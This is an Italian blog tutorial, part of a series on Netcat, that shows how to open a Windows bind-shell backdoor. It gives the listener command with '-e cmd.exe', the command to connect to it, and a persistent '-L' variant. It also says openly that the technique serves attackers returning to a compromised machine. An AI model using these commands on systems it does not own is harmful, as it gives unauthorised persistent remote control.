Creare una backdoor con Netcat

In questo appuntamento della serie “Le 7 Vite di Netcat” si va decisamente sull’hackeresco, anche se in caso di estrema necessità si potrebbe ricorrere a questa tecnica anche per motivi leciti di amministrazione remota.

Cos’è una backdoor? Una “porta di servizio” che permette l’amministrazione remota del computer.
In genere dopo aver ottenuto l’accesso al computer  l’hacker ha la necessità di tornare nel sistema in modo più agevole, oppure ha bisogno di un’interfaccia a linea di comando (shell) con la quale poter agire comodamente.

Abbiamo già visto che netcat può essere usato come server. In questo articolo vediamo come collegare a netcat in ascolto su di una porta Tcp la shell di sistema.

Per attivare netcat come backdoor usiamo il seguente comando:

nc -l -p 9999 -vv -e cmd.exe

Vediamo nel dettaglio. Il parametro -l lo abbiamo già visto nell’articolo sul trasferimento di file e dice a netcat di “ascoltare” sulla porta Tcp indicata dal parametro -p, in questo caso 9999 (valore arbitrario). Il cuore della tecnica è il parametro -e, che seguito da cmd.exe istruisce netcat a eseguire (-e ovvero exec) il comando specificato (cmd.exe, la shell di Windows) veicolando l’input/output attraverso netcat stesso.

Come ci si collega ad un host su cui è stata messa questa backdoor? Ma naturalmente con netcat!
Se il computer sotto controllo ha come indirizzo Ip 192.168.0.1, otterremo l’accesso remoto con il comando:

nc 192.168.0.1 9999 -vv

ci troveremo di fronte al prompt dei comandi di Windows; solo che questo prompt non è della nostra macchina, ma quello della macchina remota!
Per uscire dalla backdoor basta semplicemente digitare exit e la connessione si chiude. E qui c’è un problema.

Una volta chiusa la connessione in netcat remoto smette di ascoltare, semplicemente termina l’esecuzione; quindi non sarà più possibile collegarsi da remoto. Per aggirare questo problema ci viene in soccorso il parametro -L.

nc -L -p 9999 -vv > trojan <– notare la L maiuscola al posto di -l

Il parametro -L istruisce netcat a mantenere aperta la porta e restare in ascolto anche quando il programma eseguito con il comando -e viene interrotto. Così si potrà entrare e uscire dal sistema a piacere.

Un avvertimento necessario: questa tecnica è pericolosissima! Aprire una backdoor in questo modo, aprire una shell senza la protezione di una password è quasi un suicidio, significa spalancare una porta del sistema a chiunque. Se lo fate su un vostro sistema, se proprio dovete farlo, fatelo per periodi brevissimi e su porte non standard o non facilmente intuibili (9999 e 12345 non vanno benissimo).

Questo articolo fa parte della serie “Le 7 Vite di Netcat“. Potrai trovare altre informazioni su Netcat negli altri articoli della serie:

  • Creare una backdoor con Netcat
15 comments to “Creare una backdoor con Netcat”
  1. Ciao Crash. Sarà l’età, ma ti confesso che non ho capito qual’è il tuo problema 😀 Se vuoi cerca di fornire maggiori dettagli, oppure se c’è qualche lettore che ha una risposta si faccia avanti…

  2. a me mi da messaggio di errore: scrivo il comando premo esegui e mi dice che nc non è riconoscibile come programma o file

  3. io ho un altro problema, funziona tutto ma nel momento in cui crasha sono costretto a premere ctrl+c per uscire dalla shell, a quel punto pero il serve netcat rimane in ascolto e io non posso piu connettermi fino al riavvio del server sulla macchina remota.. soluzioni???
    Ps questo si verifica anche se non impartisco comandi per un certo periodo di tempo

  4. Pingback: Backdoor in una Versione di phpMyAdmin Ospitata su SourceForge | PillolHacking.Net

  5. Pingback: > Backdoor in una Versione di phpMyAdmin Ospitata su SourceForge | Giornale Blog

Comments are closed.